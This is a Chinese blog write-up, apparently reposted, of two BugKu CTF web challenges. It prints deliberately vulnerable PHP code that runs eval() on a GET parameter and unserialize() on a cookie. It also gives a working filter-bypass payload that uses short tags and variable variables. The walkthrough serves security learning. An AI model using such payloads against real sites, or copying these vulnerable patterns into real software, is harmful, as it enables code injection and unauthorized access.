小言_互联网的博客

BUGKU-WEB-冬至红包

477人阅读  评论(0)

冬至红包–审计+短标签

  上题目,每次都要读PHP代码,本身就没有学过,碰到不懂的函数得一个一个查,关键是题目还不能确定是不是自己想得那个意思。

<?php
    error_reporting(0);
    require __DIR__.'/flag.php';

    $exam = 'return\''.sha1(time()).'\';';

    if (!isset($_GET['flag'])) {
   
        echo '<a href="./?flag='.$exam.'">Click here</a>';
    }
    else if (strlen($_GET['flag']) != strlen($exam)) {
   
        echo '长度不允许';
    }
    else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
   
        echo '关键字不允许';
    }
    else if (eval($_GET['flag']) === sha1($flag)) {
   
        echo $flag;
    }
    else {
   
        echo '马老师发生甚么事了';
    }

    echo '<hr>';

    highlight_file(__FILE__);

  根据自己的分析,我们首先得得知道time这个函数返回得是什么长度的值以及转化为散列值之后的长度,我估计是长度相同的虽然时间不同,不然后面的长度判断就没法做了。长度相同后还得绕过这些过滤字符。

时间返回值(我上网随便复制的一个结果下来,估计长度都一样)进行哈希加密后的长度,这个就是我们需要构造的字符的长度,还挺长

  根据源码,我们需要输出变量,但是又给我们过滤了那么多的字符,这里我们需要使用短标签绕过,echo要用<?=代替,短标签绕过,这里我们需要知道的是短标签绕过的要求是要在形如 phpinfo()?>这样的文件之中才能执行。
比如要输出一个变量,<?echo $a ? >即<?=(表达式)?>
所以我们在构造这样的语句之前一定要使用?>进行前面的语句的闭合。构造:

/?flag=$a=%27fla*%27;$a{
   3}=%27g%27;22222222222222222;?><?=$$a?>;

变变量绕过flag,PHP真牛

<?
$a="hello";
$$a="cug";
echo $$a;	//为 $hello
echo $a $hello;
//结果为:cug  和 hello cug
?>

Web35–序列化和反序列化

  上题目


看到这个界面想着可能是弱口令之类的,直接查看源代码,看看有什么线索,发现有一个admin.css,点开查看。


发现有一个提示,让我使用11906


尝试/?11096,发现多出一段代码:

<?php
error_reporting(0);
$KEY='ctf.bugku.com';
include_once("flag.php");
$cookie = $_COOKIE['BUGKU'];
if(isset($_GET['11096'])){
   
    show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
      
    echo "$flag";
}
else {
   
?> 


  开始代码审计:查看最后输出flag的判断条件,这里有一个unserialisze函数反序列化函数,也就是说让cookie值等于$KEY的序列化的值就能显示flag。一个数据的传输是经过序列化和反序列化的过程所以我们需要对KEY的值进行序列化链接: 在线PHP.


所以我们直接修改COOKIE即可,拿到flag。


转载:https://blog.csdn.net/qq_49422880/article/details/117428095
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场